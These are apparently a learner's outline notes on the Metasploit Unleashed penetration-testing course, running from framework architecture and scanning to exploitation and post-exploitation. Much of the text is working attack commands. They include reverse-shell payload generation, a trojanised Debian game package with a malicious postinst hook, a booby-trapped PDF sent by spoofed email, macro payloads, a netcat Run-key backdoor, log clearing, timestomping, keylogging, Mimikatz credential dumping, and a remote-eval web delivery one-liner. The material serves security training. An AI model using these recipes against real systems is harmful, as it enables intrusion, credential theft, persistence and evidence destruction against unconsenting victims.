Metasploit Unleashed

* Introduction to Metasploit
  + Metasploit Unleash Requirements
    - Prepare Metasploit Lab Environment
      * Hard Drive Space
        + large file system – cannot use FAT32, must use NTFS, ext3, etc.
      * Kali Linux
      * Metasploitable
        + only use NAT or Host-only mode
      * Windows
        + <https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/>
  + Metasploit Architecture
    - * Written in Ruby
    - Understanding the Metasploit Architecture
      * Metasploit-framework package
      * /usr/share/Metasploit-framework
        + DATA

contains editable files

* + - * + Documentation
        + Lib

meat of framework code base

* + - * + Modules

actual MSF payload directory

* + - * + Plugins
        + Scripts

Meterpreter, among others

* + - * + Tools

command-line utilities

* + - * Metasploit Libraries
        + REX

basic library, most tasks

sockets, protocols, text transformations

SSL, SMB, HTTP, XOR, Base64, Unicode

* + - * + MSF::CORE

basic API

defines Framework

* + - * + MSF::BASE

friendly API

* + - Metasploit Modules and Locations
      * primary module store 🡪 /usr/share/Metasploit-framework/modules/
        + custom modules 🡪 ~/.msf4/modules/
      * Exploits
        + use payloads
      * Auxiliary
        + port scanners, fuzzers, sniffers, etc
      * Payloads, Encoders, Nops
        + payloads – code runs remotely
        + encoders – ensure payloads make it to destination intact
        + nops – consistency of payload sizes across exploit attempts
      * Loading Additional Modules Tree
        + pass the -m option to load additional modules at runtime
        + also use loadpath command

loadpath </path/to/modules>

* + - Metasploit Object Module
      * Understanding the Metasploit Object Module
        + all modules are Ruby classes

Modules inherit from type-specific class

type-specific class inherits from the Msf::Module class

shared common API between modules

Payloads are created at runtime from various components

glue together stagers with stages

* + - Metasploit Mixins and Plugins
      * Ruby
        + every class has only one parent
        + a class may include many Modules

Modules can add new methods

Modules can overload old methods

* + - * + Metasploit modules inherit Msf::Module and include mixins to add features
      * Metasploit Mixins
        + include one class into another

different and similar to inheritance

can override class methods

* + - * + Add new features and allows modules to have different flavors

protocol specific

behavior-specific

implemented by TCP mixin

overloaded by FTP, SMB, and others

* + - * + Can change behavior

Scanner mixin overloads run()

Scanner changes run() for run\_host() and run\_range()

called in parallel based on the THREADS setting

BruteForce mixin is similar

* + - * Metasploit Plugins
        + work directly with API

manipulate whole framework

hook into event subsystem

automate specific tasks

* + - * + only work in msfconsole

add new console commands

extend framework functionality

* METASPLOIT FUNDAMENTALS
  + MSFCLI
  + MSFCONSOLE
    - Core Commands
      * back – move out of current context
      * banner – displays randomly selected banner
      * check – check to see if a target is vulnerable to a particular exploit instead of exploiting it
      * color – can enable or disable if the output will contain colours
      * connect – can connect to a remote host from within msfconsole same as Netcat and Telnet
        + uses SSL, proxies, pivoting, and file transfers
      * edit – will edit current module with $VISUAL or $EDITOR – in vim
      * grep – matches a given pattern from the output of another msfconsole command
      * help – give you a list and small description of all available commands
      * info – will provide detailed information about a particular module including all options, targets, and other information
      * irb – starts a live Ruby interpreter shell to issue commands and create Metasploit scripts quickly
      * jobs – modules running in the background – list and terminate these jobs
      * kill – kill any running jobs when supplied with job id
      * load – loads a plugin from metasploits plugin directory, arguments are passed as key=val
      * loadpath – will load a third-party module tree for the path to point Metasploit
      * unload – unloads a previously loaded plugin and removes any extended commands
      * resource – runs resource (batch) files that can be loaded through msfconsole
        + batch files speed up testing and dev times and allow automation
      * route – route sockets through a session, providing basic pivoting capabilities
        + pass target subnet and network mask followed by session number
      * search – strings and underscores
      * help – built in keyword system
      * name – descriptive name search
      * platform – narrow down search to specific platform targets
      * type – search by auxiliary, post, exploit, etc.
      * author
      * multiple – combine keywords together to narrow down results
      * sessions – list, interact with, and kill spawned sessions
        + sessions -l
      * set – configure framework options and parameters for current module
        + can also set an encoder to use at run-time
        + unset – removes parameter from configured set

unset all

* + - * setg – set global variables
        + can be used in any exploits and modules as needed
        + run save command after setting variables
      * show – display every module within Metasploit
        + auxiliary – scanners, dos, fuzzers, etc
        + exploits
        + payloads
        + targets – see which targets are supported
        + advanced – fine-tune exploits
        + encoders
        + nops – display NOP generators
      * payloads
        + options
      * use – changes context to a specific module
  + EXPLOITS
    - Active Exploits
      * exploit a specific host, run until completion, then exit
        + brute force exits upon victim shell
        + execution stops if error occurs
        + can force into background with -j
    - Passive Exploits
      * wait for incoming host and exploit upon connection
        + focus on clients such as web browsers, FTP clients, etc
        + used in conjunction with email exploits, waiting for connections
        + passive exploits report shells as they happen, enumerated by passing -l to sessions command, -i will interact with a shell
  + Using Exploits in Metasploit
    - selecting an exploit adds the exploit and check commands to the console
    - SHOW
      * options
        + targets
        + payloads
        + exploit options
        + advanced
        + evasion
  + Understanding Payloads in Metasploit
    - Three Different Types
      * Singles
      * Stagers
      * Stages
    - Singles
      * self contained and standalone
        + can be caught with non-metasploit handlers such as netcat
    - Stagers
      * setup network connection between the attacker and victim and are designed to be small and reliable
    - Stages
      * payload components that are downloaded by Stagers
        + provide advanced features with no size limits

meterpreter, vnc injection, ipone shell, etc.

* + Payload Types in the Metasploit Framework
    - Inline (Non Staged)
      * containing the exploit and full shell code for the selected task
      * more stable than counterparts
      * main constraint is size
    - Stager
      * work in conjunction with stage payloads in order to perform a task
      * establishes comms channel
    - Meterpreter
      * resides completely within memory of remote host and leaves no traces
        + operating via dll injection
    - PassiveX
      * helps circumvent outbound firewalls using ActiveX to create hidden instance of IE
        + HTTP reqs and reps
    - NONX
      * circumvent DEP in Windows
    - ORD
      * windows stager based payloads
        + works on every version of windows without needing return address
        + very tiny
        + however

relies on ws2\_32.dll

less stable

* + - IPv6
      * function on IPv6 networks
    - Reflective DLL Injection
      * stage payload is injected into a compromised host process running in memory, doesn’t touch hard drive
      * VNC and Meterpreter both use this
  + Generating Payloads in Metasploit
    - Generate A Payload for Metasploit
      * when “use”-ing a payload, Metasploit adds generate, pry, and reload commands
        + generate assists in generating shellcode

-b ‘<byte>‘ – removes bad bytes, such as the null byte (\x00)

too many restricted bytes prevents encoders from being selected to work

* + - Using an Encoder during Payload Generation
      * show encoders command
        + -e switch allows choice of encoder
        + -f switch allows saving of generated payload to a file
    - Generating Payloads with Multiple Passes
      * iteration switch (-i)
        + how many encoding passes it must do before producing the final payload

stealth and AV evasion

* + - Payload Generation Using a NOP Sled
      * use -t switch to denote which language payload should be generated in (c, java, python, etc.)
      * NOP is added with -s switch
        + followed by number of NOPs
        + adds sled to beginning of payload
  + Databases in Metasploit
    - Store Information in a Database Using Metasploit
      * PostgreSQL
        + help database command
    - Using the Database in Metasploit
      * Setup
        + systemctl start postgresql
        + msfdb init
      * Using Workspaces in Metasploit
        + db\_status

confirm successful connection to DB

* + - * + workspace command

asterisk denotes which workspace is currently selected

change workspace by workspace <workspace name> command

-a switch creates

-d switch deletes

-h switch lists capabilities

* + - * Importing and Scanning
        + db\_import <path to file of nmap scan>
        + confirm import via hosts command

can scan a host directly from console with db\_nmap command

ex. db\_nmap -A <ip>

* + - * Backing Up Data
        + db\_export command to save to XML file
      * Using Hosts Command
        + hosts command confirms presence of data in database

hosts -h

* + - * Setting Up Modules
        + -S option

ex. hosts -c addresses,os\_flavor -S Linux

* + - * + -R command adds discovered IP to RHOSTS
      * Services
        + services -h
        + specify fields to be displayed, uses with -S switch to particular string
      * CSV Export
        + -o switch
      * Creds
        + manage found and used credentials for targets in db

run mysql\_login command

run

creds

test for possible login info

add to db with creds -a command

* + - * Loot
        + view hash dumps with loot command

loot -h

* + Meterpreter
    - * uses in-memory DLL injection stagers and extended over network at runtime
        + uses stager socket and is a Ruby client-side API
    - How Meterpreter Works
      * target executes initial stager
        + stager loads DLL prefixed with Reflective

Meterpreter core initializes TLS/1.0 link over socket and sends GET to attacker Metasploit

Meterpreter loads extensions, stdapi and load priv if module gives admin rights

* + - Design Goals
      * stealthy
      * powerful
      * extensible
    - Using Meterpreter Commands
      * help
      * background – returns user to msf prompt
        + interact with session again with sessions -i <number> command
      * cat
      * cd and pwd – change and display current working directory
        + use \ when navigating folders that have spaces in names

ex. cd Program\ Files\ (x86)

* + - * clearev – clears application, system, and security logs in a windows system
      * download – downloads file from remote machine
        + uses double slashes in path
      * edit – opens file located in target host via vim
      * execute
      * getuid
      * hashdump – dump contents of SAM database
        + run post/windows/gather/hashdump
      * idletime
      * ipconfig
      * lpwd and lcd – display and change local working directory, respectively.
      * ls
      * migrate – migrate to another process on the victim
        + ex. run post/windows/manage/migrate
      * ps – list of running processes
      * resource – execute meterpreter instructions located inside a text file
        + executed in line sequence
      * search
      * shell
      * upload
        + use double slashes in path
      * webcam\_list
      * webcam\_snap
  + Python Extension
    - load python command
    - help
    - python execute
      * -r switch for passing parameters
* INFORMATION GATHERING IN METASPLOIT
  + Preparing Metasploit for Port Scanning
    - RHOSTS can take IP ranges, CIDR Rangers, and other ranges separated by commas as well as line-separated host list files
      * THREADS – under 16 on Win32, under 200 on Cygwin, and up to 256 on Unix
  + NMAP & DB\_NMAP
    - runs nmap against targets, storing results in DB
      * all three forms of output with -oA
        + then issue db\_import command to populate Metasploit db
        + run with same options as one would in Terminal
  + PORT SCANNING
    - search portscan
    - SMB version Scanning
      * scanner/smb/version
    - IDLE Scanning
      * stealthy scanning of a target while spoofing the IP address of another host on the network
        + must first locate host on network that is idle and uses IPID sequences of Incremental or Broken Little-Endian Incremental

scanner/ip/ipidseq

* + HUNTING FOR MSSQL
    - search mssql
      * ping module
      * use auxiliary/scanner/mssql/mssql\_ping
      * scanner/mssql/mssql\_login
        + brute-force password (can also use medua, THC-Hydra
      * then use auxiliary/admin/mssql/mssql\_exec
  + SERVICE IDENTIFICATION
    - SSH Service
      * services -p <port> -c name,port,proto
      * use auxiliary/scanner/ssh/ssh\_version
    - FTP Service
      * services -p 21 -c name,proto
      * use auxiliary/scanner/ftp/ftp\_version
  + PASSWORD SNIFFING
    - psnuffle
      * similar to dsniff tool
        + sniffs passwords for POP3, IMAP, FTP, HTTP GET
    - use auxiliary/sniffer/psnuffle
      * can also import pcap file
  + EXTENDING PSNUFFLE
    - Module Location
      * data/exploits/psnuffle
      * Define own psnuffle module
    - Session Definition
      * define ports, session tracking
        + session objects
  + SNMP SWEEPING
    - ‘read only’ and ‘read write’ community strings play an important role in what type of information can be extracted or modified on the devices themselves
    - Must change default configurations
      * /etc/default/snmpd
        + From

SNMPDOPTS='-Lsd -Lf /dev/null -u snmp -I -smux -p /var/run/snmpd.pid 127.0.0.1'

* + - * + To

SNMPDOPTS='-Lsd -Lf /dev/null -u snmp -I -smux -p /var/run/snmpd.pid 0.0.0.0'

* + - * restart service
    - MIBs
      * Metasploit has MIB db to query devices for information depending on what level of access is obtained
      * search snmp
        + use auxiliary/scanner/snmp/snmp\_login
    - SNMP Enumeration
      * use auxiliary/scanner/snmp/snmp\_enum
  + WRITING OWN SECURITY SCANNER
    - Scanner Features
      * access to all exploit classes and methods
      * support for proxies, SSL, and reporting
      * threading and range scanning
      * easy to write and run quickly
    - Saving and Testing Auxiliary Module
      * ./modules/auxiliary/scanner/ directory
        + <filename>.rb
      * must restart service and pay attention to folder structure
      * can also use report mixin as report\_\*()
        + depends on databases running
      * use Auxiliary::Report mixin in scanner code
        + include Msf::Auxiliary::Report

then call report\_note() method

* + WINDOWS PATCH ENUMERATION
    - use post/windows/gather/enum\_patches
      * show advanced
      * show options
* VULNERABILITY SCANNING IN METASPLOIT
  + SMB Login Check
    - Scanning for Access with SMB\_Login
      * connects with a range of hosts and determines if username/password combination can access the target
        + very loud
    - windows/smb/psexec
      * spawn meterpreter
  + VNC Authentication
    - use auxiliary/scanner/vnc
      * search a large range of IP addresses looking for targets that are running a VNC Server without passwords configured
      * use auxiliary/scanner/vnc/vnc\_none\_auth
  + WMAP Web Scanner
    - Originated from SQLMap, integrated with Metasploit
      * Web Application Scanning from the Metasploit Framework
    - Vulnerability Scanning with WMAP
      * load wmap
        + add new target with wmap\_sites -a and wmap\_sites -l will print out available targets
        + add the site as a target with wmap\_targets

review with -l switch

* + - * + use wmap\_run command

-t switch lists modules that will be used to scan the remote system

* + - * run vulns to list details of any found vulnerabilities
  + Using NeXpose
    - NeXpose Vulnerability Scanner
      * save scan results in XML and import into Metasploit via db\_import
    - use vulns command to see what vulnerabilities were found by NeXpose scan
      * use -p to specify port number
      * -s to specify service name
      * -i to specify vulnerability information
    - NeXpose via msfconsole
      * load nexpose command
        + connect to server using nexpose\_connect command along with credentials

nexpose\_connect password:username<ip>:port ok

* + - * run scan with nexpose\_scan
        + use credentials with -c
        + full-audit scan template
      * check with hosts command
        + then run services and vulns to see results
    - Expanding on our NeXpose Scanning Methods
      * nexpose\_discover
      * nexpose\_dos
      * nexpose\_exhaustive
  + Working with Nessus
    - Metasploit will accept vulnerability scan result files from both Nessus and OpenVAS in nbe file format
      * import the results into the Metasploit Framework with db\_import /path/to/file.nbe
        + run hosts command to list the hosts in nbe file
        + run services command
        + run vulns command

run search for any found vulns

* + - Nessus via Msfconsole
      * Connect to a Nessus server via Nessus Bridge
        + load nessus

nessus\_help

nessus\_connect user:pass@IP

* + - * + nessus\_policy\_list command
        + nessus\_scan\_new

nessus\_scan\_status

* + - * To view completed reports
        + nessus\_report\_list

import a report with nessus\_report\_get

* + - * + the run hosts -c address,vulns
* WRITING A SIMPLE FUZZER
  + Fuzzer tools are used to provide invalid and unexpected data to the inputs of a program
    - * typically for buffer overflow, invalid format strings, directory traversal attacks, command execution vulnerabilities, SQL Injection, XSS, and more
  + Metasploits Rex Library
    - Rex::Text Module
      * Buffer conversion
      * Encoding
      * Checksumming
      * Random String Generation
        + helpful for fuzzing
    - <http://www.rubydoc.info/github/rapid7/metasploit-framework/Rex/Text>
  + Simple TFTP Fuzzer
    - rewriting pre-existing modules
    - Testing Fuzzer Tool
  + Simple IMAP Fuzzer
    - Msf::Exploit::Remote::Imap
      * overriding run() method and connect\_login()
    - Test IMAP Fuzzer Tool
* EXPLOIT DEVELOPMENT
* WEB APP EXPLOIT DEVELOPMENT
* CLIENT-SIDE ATTACKS
  + Binary Payloads
    - Generate an executable from a Metasploit payload
      * useful in social engineering
    - generate reverse shell payload
      * msfvenom - -payload-options -p windows/shell/reverse\_tcp
      * msfvenom -a x86 --platform windows -p windows/shell/reverse\_tcp LHOST=172.16.104.130 LPORT=31337 -b "\x00" -e x86/shikata\_ga\_nai -f exe -o /tmp/1.exe
    - use multi/handler to handle exploits launched from outside the framework
      * msfconsole -q
        + use exploit/multi/handler

show options

set payload windows/shell/reverse\_tcp

show options

run exploit

* + Binary Linux Trojan
    - <http://securitytube.net/Ubuntu-Package-Backdoor-using-a-Metasploit-Payload-video.aspx>
    - freesweep package
      * apt-get - -download-only install freesweep
        + mkdir /tmp/evil
        + mv /var/cache/apt/archives/freesweep\_0.90-1\_i386.deb /tmp/evil
        + cd /tmp/evil
      * extract package to working directory
        + dpkg -x freesweep\_0.90-1\_i386.deb work
        + mkdir work/DEBIAN

create file “control”

cat the file

Package: freesweep

Version: 0.90-1

Section: Games and Amusement

Priority: optional

Architecture: i386

Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)

Description: a text-based minesweeper

Freesweep is an implementation of the popular minesweeper game, where

one tries to find all the mines without igniting any, based on hints given

by the computer. Unlike most implementations of this game, Freesweep

works in any visual text display - in Linux console, in an xterm, and in

most text-based terminals currently in use.

* + - * + in DEBIAN directory, create a file named postinst

#!/bin/sh

sudo chmod 2755 /usr/games/freesweep\_scores && /usr/games/freesweep\_scores & /usr/games/freesweep &

* + - create malicious payload
      * msfvenom -a x86 --platform linux -p linux/x86/shell/reverse\_tcp LHOST=192.168.1.101 LPORT=443 -b "\x00" -f elf -o /tmp/evil/work/usr/games/freesweep\_scores
    - make executable
      * chmod 755 postinst
      * dpkg-deb - -build /tmp/evil/work
      * mv work.deb freeswap.deb
      * cp freesweep.deb /var/www
    - start Apache web server
      * service apache2 start
    - setup multi/handler
      * msfconsole -q -x "use exploit/multi/handler;set PAYLOAD linux/x86/shell/reverse\_tcp; set LHOST 192.168.1.101; set LPORT 443; run; exit -y"
    - On Victim Machine
      * wget http://<attacker ip>/freesweep.deb
      * sudo dpkg -i freesweep.deb
    - Will receive shell on attacker machine
  + Client-Side Exploits
    - social engineering
    - msfconsole
      * Adobe Reader ‘util.printf()’ Javascript Function Stack Buffer Overflow Vulnerability
      * use exploit/windows/fileformat/adobe\_utilprintf
        + set FILENAME
        + set PAYLOAD windows/meterpreter/reverse\_tcp
        + set LHOST
        + set LPORT
        + show options
        + exploit
      * copy .pdf output into /tmp directory
      * setup listener
        + use exploit/multi/handler
        + set PAYLOAD windows/meterpreter/reverse\_tcp
        + set LPORT (same as exploit in PDF)
        + set LHOST (same as exploit in PDF)
        + exploit
      * use sendEmail script
        + sendEmail -t itdept@victim.com -f techsupport@bestcomputers.com -s 192.168.8.131 -u Important Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdf

attach the malicious pdf, use any smtp server we want and write a pretty convincing email from any address

-f means FROM address

-t means TO address

-s means any SMTP server

-u means Titles

-a means attachment

enter any message desired then CTRL+D to send

* + - * Once shell is established, migrate to another process before adobe is killed
        + in meterpreter

ps

run post/windows/manage/migrate

sysinfo

use priv

run post/windows/capture/keylog\_recorder

* + - * + in attacker machine

cat file keylogger has been saved to to review credentials and other captured information

* + VBScript Infection Methods
    - infect Word and Excel documents with malicious Metasploit Payloads
    - create VBScript Payload
      * msfvenom -a x86 --platform windows -p windows/meterpreter/reverse\_tcp LHOST=192.168.1.101 LPORT=8080 -e x86/shikata\_ga\_nai -f vba-exe
      * two part script is created – macro and document embedded
        + transfer script over to machine with windows and office installed

Word/Excel 2003 🡪 Tools 🡪 Macros 🡪 Visual Basic Editor

Word/Excel 2007 🡪 View Macros 🡪 name and create

* + - * opens up VB Editor
        + paste output of first portion of payload script into the editor and save it
        + paste the remainder of the script into the word document itself
      * Try to embed code into one of many Word/Excel games available on internet
    - setup Metasploit listener
      * msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse\_tcp; set LHOST 192.168.1.101; set LPORT 8080; run; exit -y"
* MSF POST EXPLOITATION
  + Privilege Escalation
    - Meterpreter Script “getsystem” that will attempt to gain SYSTEM level privileges on remote system
      * use priv
      * getsystem -h
    - Local Exploits
      * background
      * use exploit/windows/local
  + PSExec Pass The Hash
    - psexec module
      * after using fgdump, pwdump, cachedump
    - run post/windows/gather/hashdump
    - search psexec
    - use exploit/windows/smb/psexec
  + Event Log Management
    - scripts/meterpreter/winenum – clrevtlgs()
    - in Meterpreter
      * irb
        + log = client.sys.eventlog.open(‘system’)
        + log.clear
  + Incognito
    - Impersonates user tokens
      * Delegate
      * Impersonate
    - Often found in file servers
    - ms08\_067\_netapi
      * options
    - use incognito
      * list\_tokens -u
      * impersonate\_token
      * getuid
  + Interacting With The Registry
    - reg command
  + Persistent NetCat Backdoor
    - upload /usr/share/windows-binaries/nc.exe C:\\windows\system32
    - reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
    - reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 445 -e cmd.exe'
    - reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc
    - execute -f cmd -i
      * netsh firewall show opmode
      * netsh firewall add portopening TCP 445 “Service Firewall” ENABLE ALL
      * netsh firewall show portopening
    - nc -v <ip> <port>
    - dir
  + Enabling Remote Desktop
    - run getgui
    - run getgui -u <username> -p <password>
    - rdesktop -u <username> -p <password> <ip>
    - run clean up script once done
      * run multi\_console\_command -rc /root/.msf4/logs/scripts/getgui/clean\_up\_\_20110112.2448.rc
  + Packet Sniffing
    - After gaining meterpreter
      * use sniffer
      * sniffer\_interfaces
      * sniffer\_start <choice>
      * sniffer\_dump <choice> /path/to/file.cap
      * sniffer\_stats <choice>
      * sniffer\_stop <choice>
      * sniffer\_release <choice>
    - Packet Recorder
      * run packetrecorder
        + -li – list interfaces to be sniffed
      * run packetrecorder -i <choice> -l /root/
  + Pivoting
    - run autoroute -s <ip/cidr>
    - run autoroute -p
    - getsystem
    - Port Scanner
      * use auxiliary/scanner/portscan/tcp
      * ipconfig
  + Portfwd
    - portfwd command
    - portfwd -h
    - allows access to machines otherwise inaccessible from attacking system
      * allows forwarding of TCP connections through a machine
      * relays TCP connections to and from the connected machines
  + Timestop
    - exploit
    - use priv
    - timestop
      * use MAC times of another file while looking at another file
      * use -b to zero out timing
        + can crash some forensic tools
      * can zero out whole drive
        + timestop C:\\ -r
  + Screen Capture
    - ps
    - migrate <PID>
    - use espia
    - screengrab
  + Searching For Contact
    - search -h
    - search -f \*.jpg
    - search -d c:\\documents\ and\ settings\\administrator\\desktop\\ -f \*.pdf
  + John The Ripper
    - use post/windows/gather/hashdump
    - set session
    - run
    - use auxiliary/analyze/jtr\_crack\_fast
* METERPRETER SCRIPTING
  + Existing Scripts
    - CHECKVM – check if exploited victim is a VM
    - GETCOUNTERMEASURE – checks the security configuration on victim and can disable other security measures such as AV, Firewalls, etc
    - GETGUI – used to enable RDP on target system if disabled
    - GET\_LOCAL\_SUBNETS – gathers local subnet mask of a victim
    - GETTELNET – used to enable telnet on the victim if disabled
    - HOSTSEDIT – adds entries to windows host file, as it is the first stop before DNS and if helpful for redirecting traffic
    - KILLAV – disable most AV programs running as a service
    - REMOTEWINENUM – enumerates system information through wmic on victim
    - SCRAPER – grabs additional info, including registry
    - WINENUM – dumps tokens, hashes, etc
  + WRITING SCRIPTS
  + CUSTOM SCRIPTING
  + USEFUL API CALLS
  + USEFUL FUNCTIONS
    - available wmic commands
    - change MAC time of files
    - check for UAC
    - clear all event logs
    - execute list of commands
    - upload files and executables
    - write data to file
* MAINTAINING ACCESS
  + Keylogging
    - exploit
      * ps 🡪 migrate <psid> 🡪 getpid
    - keylogger
      * keyscan\_start
      * keyscan\_dump
    - migrate to winlogon process to capture credentials of all users
  + Meterpreter Backdoor
    - metsvc backdoor – no authentication required – alter to req auth or filter connections via secondary method
    - run metsvc
      * -h
  + Interacting with METSVC
    - use exploit multi/handler
      * set PAYLOAD windows/metsvc\_bind\_tcp
  + Persistent Backdoors
    - Meterpreter Service
      * run persistence
        + set options
      * reboot
      * exit
      * use exploit/multi/handler
        + set PAYLOAD windows/meterpreter/reverse\_tcp

exploit

sysinfo

* MSF EXTENDED USAGE
  + Mimikatz
    - following exploitation
      * getuid
      * getsystem
      * sysinfo
    - load mimikatz
      * mimikatz\_command gives full access to all features in mimikatz
        + samdump::hashes
        + sekurlsa::searchPasswords
        + handle::

list/kill processes and impersonate user tokens

handle::list

* + - * + service::

list, start, stop, remove windows services

* + - * + crypto::

list and export any certificates and corresponding private keys

::listProviders

* + - Reading Hashes and Passwords From Memory
      * msv command
      * Kerberos command
  + Backdooring EXE Files
    - use wget to download a legitimate executable
    - use msfvenom to inject a meterpreter reverse payload into executable, encoding several times and save backdoor into webroot directory
      * ex. msfvenom -a x86 --platform windows -x putty.exe -k -p windows/meterpreter/reverse\_tcp lhost=192.168.1.101 -e x86/shikata\_ga\_nai -i 3 -b "\x00" -f exe -o puttyX.exe
    - set up exploit handler
      * use exploit/multi/handler
      * set PAYLOAD windows/meterpreter/reverse\_tcp
  + Karmetasploit
    - * fake access points, capture passwords, harvest data, and conduct browser attacks against clients
    - https://www.offensive-security.com/metasploit-unleashed/karmetasploit-configuration/
    - <https://www.offensive-security.com/metasploit-unleashed/karmetasploit-action/>
    - <https://www.offensive-security.com/metasploit-unleashed/karmetasploit-attack-analysis/>
  + MSF VS OS X
    - Take advantage of Mac computer camera features
      * msfvenom -a x86 --platform OSX -p osx/x86/isight/bind\_tcp -b "\x00" -f elf -o /tmp/osxt2
    - use multi/handler
      * set PAYLOAD osx/x86/isight/bind\_tcp
  + File-Upload Backdoors
    - generate and handle Java based shells to gain remote access to a system via arbitrary file uploads
      * msfvenom -a x86 --platform windows -p java/jsp\_shell\_reverse\_tcp LHOST=192.168.1.101 LPORT=8080 -f raw
    - use exploit/multi/handler
      * set PAYLOAD java/jsp\_shell\_reverse\_tcp
  + File Inclusion Vulnerabilities
    - RFI and LFI
  + PHP Meterpreter
    - abuse of php\_include module
    - Cookie PHP Session ID
      * Cookie Manager+ add-on
    - Module Options
      * use exploit/unix/webapp/php\_include
        + set exact path to vulnerable inclusion point

place the text XXpathXX

set PHPURI /?page=XXpathXX

set PATH /path/to/inclusion

* + Building A Module
  + Payloads Through MSSQL
    - Microsoft SQL
      * UDP Port 1434 and executing dictionary attacks for guessing sa password
    - use windows/msswl/mssql\_payload
    - set payload windows/meterpreter/reverse\_tcp
  + Web Delivery
    - creates a server on attacking machine which hosts a payload which is executed when victim visits the server
      * remote command execution is an effective attack vector
      * useful when attacker has partial system control but not full shell
    - in area that can execute RCE on a web page
      * ping, telnet, or call the host
    - in attacker
      * use exploit/multi/script/web\_delivery
      * set TARGET 1 (this must be set before payload)
      * set PAYLOAD php/meterpreter/reverse\_tcp
    - run given output command on victim in RCE input
      * ex. php -d allow\_url\_fopen=true -r "eval(file\_get\_contents('http://192.168.80.128:8080/alK3t3tt'));"
    - in attacker, interact with shell via sessions -i command
    - sessions -i 1
    - shell
    - whoami
    - uname -a
* METASPLOIT GUIS
  + Community Edition
    - map out network
    - integrate with nessus, nmap, nexpose, etc
    - determine correct exploit
    - verify remediation
  + Activation
    - <http://localhost:3790>
      * fill out info
      * get product key
        + register with R7
  + Community Scanning
    - Project – Create New Project
    - Scan
      * confirm IP addr range
      * configure advanced options
      * Launch
    - Analysis
      * Hosts
        + click on host or IP addr
      * Vulnerabilities
      * File Shares
      * Notes
      * Credentials
    - Importing Scan Results from Nessus, Nexpose, etc
      * open Nessus <https://127.0.0.1:8834>
        + Scan 🡪 Add
        + Launch
      * Download and Save Report Locally
      * In MSF CE
        + Analysis

Import 🡪 Browse

Open 🡪 Import Data

* + - * + Analysis

Hosts

* + - * In MSF CE
        + Administration 🡪 Global Settings
        + Configure NeXpose Console

localhost

3780

Save

* + - * + Projects

set and run

* + - * + Analysis

Hosts

* + Exploitation
    - Module Page
      * Set Options and Run
    - Sessions
      * interact with successful shell
  + Post-Exploitation
    - Post-Exploitation Modules
      * Options and Run
  + ARMITAGE
    - Java-based GUI for MSF
  + Armitage Setup
    - Included in Kali
  + Starting Metasploit Framework in Kali Linux 2.0
    - systemctl start postgresql
    - msfdb init
    - Armitage
  + Armitage Scanning
    - Expand module tree and click on preferred scanner
      * set Options
      * Launch
    - Right-click discovered hosts and select Services to open tab displaying all services scanned on target system
  + Armitage Exploitation
    - Select Host to attack
      * find exploit in tree and double click to bring up config
        + Launch
        + Right-Click host after successful to view new additional options

such as hash dump

Launch

* + Armitage Post Exploitation
    - post-exploitation module – Launch
* POST MODULE REFERENCE
  + Windows
    - <https://www.offensive-security.com/metasploit-unleashed/windows-post-capture-modules/>
    - <https://www.offensive-security.com/metasploit-unleashed/windows-post-gather-modules/>
    - <https://www.offensive-security.com/metasploit-unleashed/windows-post-manage-modules/>
  + Linux
    - <https://www.offensive-security.com/metasploit-unleashed/linux-post-gather-modules/>
  + OS X
    - <https://www.offensive-security.com/metasploit-unleashed/os-post-gather-modules/>
  + Multiple OS
    - <https://www.offensive-security.com/metasploit-unleashed/multiple-os-post-gather-modules/>
    - <https://www.offensive-security.com/metasploit-unleashed/multiple-os-post-general-modules/>
* AUXILIARY MODULE REFERENCE
  + ADMIN
    - <https://www.offensive-security.com/metasploit-unleashed/admin-http-auxiliary-modules/>
    - <https://www.offensive-security.com/metasploit-unleashed/admin-mssql-auxiliary-modules/>
    - <https://www.offensive-security.com/metasploit-unleashed/admin-mysql-auxiliary-modules/>
    - <https://www.offensive-security.com/metasploit-unleashed/admin-postgres-auxiliary-modules/>
    - <https://www.offensive-security.com/metasploit-unleashed/admin-vmware-auxiliary-modules/>
  + SCANNER
    - <https://www.offensive-security.com/metasploit-unleashed/scanner-dcerpc-auxiliary-modules/>
    - <https://www.offensive-security.com/metasploit-unleashed/scanner-discovery-auxiliary-modules/>
    - <https://www.offensive-security.com/metasploit-unleashed/scanner-ftp-auxiliary-modules/>
    - <https://www.offensive-security.com/metasploit-unleashed/scanner-http-auxiliary-modules/>
    - <https://www.offensive-security.com/metasploit-unleashed/scanner-imap-auxiliary-modules/>
    - <https://www.offensive-security.com/metasploit-unleashed/scanner-mssql-auxiliary-modules/>
    - <https://www.offensive-security.com/metasploit-unleashed/scanner-mysql-auxiliary-modules/>
    - <https://www.offensive-security.com/metasploit-unleashed/scanner-netbios-auxiliary-modules/>
    - <https://www.offensive-security.com/metasploit-unleashed/scanner-pop3-auxiliary-modules/>
    - <https://www.offensive-security.com/metasploit-unleashed/scanner-smb-auxiliary-modules/>
    - <https://www.offensive-security.com/metasploit-unleashed/scanner-smtp-auxiliary-modules/>
    - <https://www.offensive-security.com/metasploit-unleashed/scanner-snmp-auxiliary-modules/>
    - <https://www.offensive-security.com/metasploit-unleashed/scanner-ssh-auxiliary-modules/>
    - <https://www.offensive-security.com/metasploit-unleashed/scanner-telnet-auxiliary-modules/>
    - <https://www.offensive-security.com/metasploit-unleashed/scanner-tftp-auxiliary-modules/>
    - <https://www.offensive-security.com/metasploit-unleashed/scanner-vmware-auxiliary-modules/>
    - <https://www.offensive-security.com/metasploit-unleashed/scanner-vnc-auxiliary-modules/>
  + SERVER
    - <https://www.offensive-security.com/metasploit-unleashed/server-capture-auxiliary-modules/>
* RECENT CHANGES TO METASPLOIT UNLEASHED
  + <https://www.offensive-security.com/metasploit-unleashed/recent-changes/>

END